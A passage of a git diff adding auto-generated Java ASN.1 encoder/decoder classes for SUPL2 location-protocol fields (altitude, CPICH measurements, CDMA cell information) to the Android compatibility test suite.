+ return altitude_;
+ }
+
+ private AltitudeInfo.altUncertaintyType altUncertainty_;
+ public AltitudeInfo.altUncertaintyType getAltUncertainty() {
+ return altUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AltitudeInfo.altUncertaintyType
+ */
+ public void setAltUncertainty(Asn1Object value) {
+ this.altUncertainty_ = (AltitudeInfo.altUncertaintyType) value;
+ }
+ public AltitudeInfo.altUncertaintyType setAltUncertaintyToNewInstance() {
+ altUncertainty_ = new AltitudeInfo.altUncertaintyType();
+ return altUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAltitudeDirection() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAltitudeDirection();
+ }
+
+ @Override public void setToNewInstance() {
+ setAltitudeDirectionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AltitudeInfo.altitudeDirectionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "altitudeDirection : "
+ + getAltitudeDirection().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAltitude() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAltitude();
+ }
+
+ @Override public void setToNewInstance() {
+ setAltitudeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AltitudeInfo.altitudeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "altitude : "
+ + getAltitude().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAltUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAltUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setAltUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AltitudeInfo.altUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "altUncertainty : "
+ + getAltUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class altitudeDirectionType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ height(0),
+ depth(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_altitudeDirectionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public altitudeDirectionType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_altitudeDirectionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_altitudeDirectionType != null) {
+ return ImmutableList.of(TAG_altitudeDirectionType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new altitudeDirectionType from encoded stream.
+ */
+ public static altitudeDirectionType fromPerUnaligned(byte[] encodedBytes) {
+ altitudeDirectionType result = new altitudeDirectionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new altitudeDirectionType from encoded stream.
+ */
+ public static altitudeDirectionType fromPerAligned(byte[] encodedBytes) {
+ altitudeDirectionType result = new altitudeDirectionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "altitudeDirectionType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class altitudeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_altitudeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public altitudeType() {
+ super();
+ setValueRange("0", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_altitudeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_altitudeType != null) {
+ return ImmutableList.of(TAG_altitudeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new altitudeType from encoded stream.
+ */
+ public static altitudeType fromPerUnaligned(byte[] encodedBytes) {
+ altitudeType result = new altitudeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new altitudeType from encoded stream.
+ */
+ public static altitudeType fromPerAligned(byte[] encodedBytes) {
+ altitudeType result = new altitudeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "altitudeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class altUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_altUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public altUncertaintyType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_altUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_altUncertaintyType != null) {
+ return ImmutableList.of(TAG_altUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new altUncertaintyType from encoded stream.
+ */
+ public static altUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ altUncertaintyType result = new altUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new altUncertaintyType from encoded stream.
+ */
+ public static altUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ altUncertaintyType result = new altUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "altUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AltitudeInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java
new file mode 100755
index 0000000..d0b907e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_Ec_N0.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CPICH_Ec_N0 extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_CPICH_Ec_N0
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CPICH_Ec_N0() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CPICH_Ec_N0;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CPICH_Ec_N0 != null) {
+ return ImmutableList.of(TAG_CPICH_Ec_N0);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CPICH_Ec_N0 from encoded stream.
+ */
+ public static CPICH_Ec_N0 fromPerUnaligned(byte[] encodedBytes) {
+ CPICH_Ec_N0 result = new CPICH_Ec_N0();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CPICH_Ec_N0 from encoded stream.
+ */
+ public static CPICH_Ec_N0 fromPerAligned(byte[] encodedBytes) {
+ CPICH_Ec_N0 result = new CPICH_Ec_N0();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CPICH_Ec_N0 = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java
new file mode 100755
index 0000000..8452b1d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CPICH_RSCP.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CPICH_RSCP extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_CPICH_RSCP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CPICH_RSCP() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CPICH_RSCP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CPICH_RSCP != null) {
+ return ImmutableList.of(TAG_CPICH_RSCP);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CPICH_RSCP from encoded stream.
+ */
+ public static CPICH_RSCP fromPerUnaligned(byte[] encodedBytes) {
+ CPICH_RSCP result = new CPICH_RSCP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CPICH_RSCP from encoded stream.
+ */
+ public static CPICH_RSCP fromPerAligned(byte[] encodedBytes) {
+ CPICH_RSCP result = new CPICH_RSCP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CPICH_RSCP = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java
new file mode 100755
index 0000000..93061db
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CdmaCellInformation.java
@@ -0,0 +1,1293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CdmaCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CdmaCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CdmaCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CdmaCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CdmaCellInformation != null) {
+ return ImmutableList.of(TAG_CdmaCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CdmaCellInformation from encoded stream.
+ */
+ public static CdmaCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ CdmaCellInformation result = new CdmaCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CdmaCellInformation from encoded stream.
+ */
+ public static CdmaCellInformation fromPerAligned(byte[] encodedBytes) {
+ CdmaCellInformation result = new CdmaCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CdmaCellInformation.refNIDType refNID_;
+ public CdmaCellInformation.refNIDType getRefNID() {
+ return refNID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refNIDType
+ */
+ public void setRefNID(Asn1Object value) {
+ this.refNID_ = (CdmaCellInformation.refNIDType) value;
+ }
+ public CdmaCellInformation.refNIDType setRefNIDToNewInstance() {
+ refNID_ = new CdmaCellInformation.refNIDType();
+ return refNID_;
+ }
+
+ private CdmaCellInformation.refSIDType refSID_;
+ public CdmaCellInformation.refSIDType getRefSID() {
+ return refSID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refSIDType
+ */
+ public void setRefSID(Asn1Object value) {
+ this.refSID_ = (CdmaCellInformation.refSIDType) value;
+ }
+ public CdmaCellInformation.refSIDType setRefSIDToNewInstance() {
+ refSID_ = new CdmaCellInformation.refSIDType();
+ return refSID_;
+ }
+
+ private CdmaCellInformation.refBASEIDType refBASEID_;
+ public CdmaCellInformation.refBASEIDType getRefBASEID() {
+ return refBASEID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refBASEIDType
+ */
+ public void setRefBASEID(Asn1Object value) {
+ this.refBASEID_ = (CdmaCellInformation.refBASEIDType) value;
+ }
+ public CdmaCellInformation.refBASEIDType setRefBASEIDToNewInstance() {
+ refBASEID_ = new CdmaCellInformation.refBASEIDType();
+ return refBASEID_;
+ }
+
+ private CdmaCellInformation.refBASELATType refBASELAT_;
+ public CdmaCellInformation.refBASELATType getRefBASELAT() {
+ return refBASELAT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refBASELATType
+ */
+ public void setRefBASELAT(Asn1Object value) {
+ this.refBASELAT_ = (CdmaCellInformation.refBASELATType) value;
+ }
+ public CdmaCellInformation.refBASELATType setRefBASELATToNewInstance() {
+ refBASELAT_ = new CdmaCellInformation.refBASELATType();
+ return refBASELAT_;
+ }
+
+ private CdmaCellInformation.reBASELONGType reBASELONG_;
+ public CdmaCellInformation.reBASELONGType getReBASELONG() {
+ return reBASELONG_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.reBASELONGType
+ */
+ public void setReBASELONG(Asn1Object value) {
+ this.reBASELONG_ = (CdmaCellInformation.reBASELONGType) value;
+ }
+ public CdmaCellInformation.reBASELONGType setReBASELONGToNewInstance() {
+ reBASELONG_ = new CdmaCellInformation.reBASELONGType();
+ return reBASELONG_;
+ }
+
+ private CdmaCellInformation.refREFPNType refREFPN_;
+ public CdmaCellInformation.refREFPNType getRefREFPN() {
+ return refREFPN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refREFPNType
+ */
+ public void setRefREFPN(Asn1Object value) {
+ this.refREFPN_ = (CdmaCellInformation.refREFPNType) value;
+ }
+ public CdmaCellInformation.refREFPNType setRefREFPNToNewInstance() {
+ refREFPN_ = new CdmaCellInformation.refREFPNType();
+ return refREFPN_;
+ }
+
+ private CdmaCellInformation.refWeekNumberType refWeekNumber_;
+ public CdmaCellInformation.refWeekNumberType getRefWeekNumber() {
+ return refWeekNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refWeekNumberType
+ */
+ public void setRefWeekNumber(Asn1Object value) {
+ this.refWeekNumber_ = (CdmaCellInformation.refWeekNumberType) value;
+ }
+ public CdmaCellInformation.refWeekNumberType setRefWeekNumberToNewInstance() {
+ refWeekNumber_ = new CdmaCellInformation.refWeekNumberType();
+ return refWeekNumber_;
+ }
+
+ private CdmaCellInformation.refSecondsType refSeconds_;
+ public CdmaCellInformation.refSecondsType getRefSeconds() {
+ return refSeconds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CdmaCellInformation.refSecondsType
+ */
+ public void setRefSeconds(Asn1Object value) {
+ this.refSeconds_ = (CdmaCellInformation.refSecondsType) value;
+ }
+ public CdmaCellInformation.refSecondsType setRefSecondsToNewInstance() {
+ refSeconds_ = new CdmaCellInformation.refSecondsType();
+ return refSeconds_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefNID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefNID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefNIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refNIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refNID : "
+ + getRefNID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refSIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSID : "
+ + getRefSID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBASEID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBASEID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBASEIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refBASEIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBASEID : "
+ + getRefBASEID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBASELAT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBASELAT();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBASELATToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refBASELATType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBASELAT : "
+ + getRefBASELAT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getReBASELONG() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReBASELONG();
+ }
+
+ @Override public void setToNewInstance() {
+ setReBASELONGToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.reBASELONGType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reBASELONG : "
+ + getReBASELONG().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefREFPN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefREFPN();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefREFPNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refREFPNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refREFPN : "
+ + getRefREFPN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefWeekNumber() != null;
+ }
+
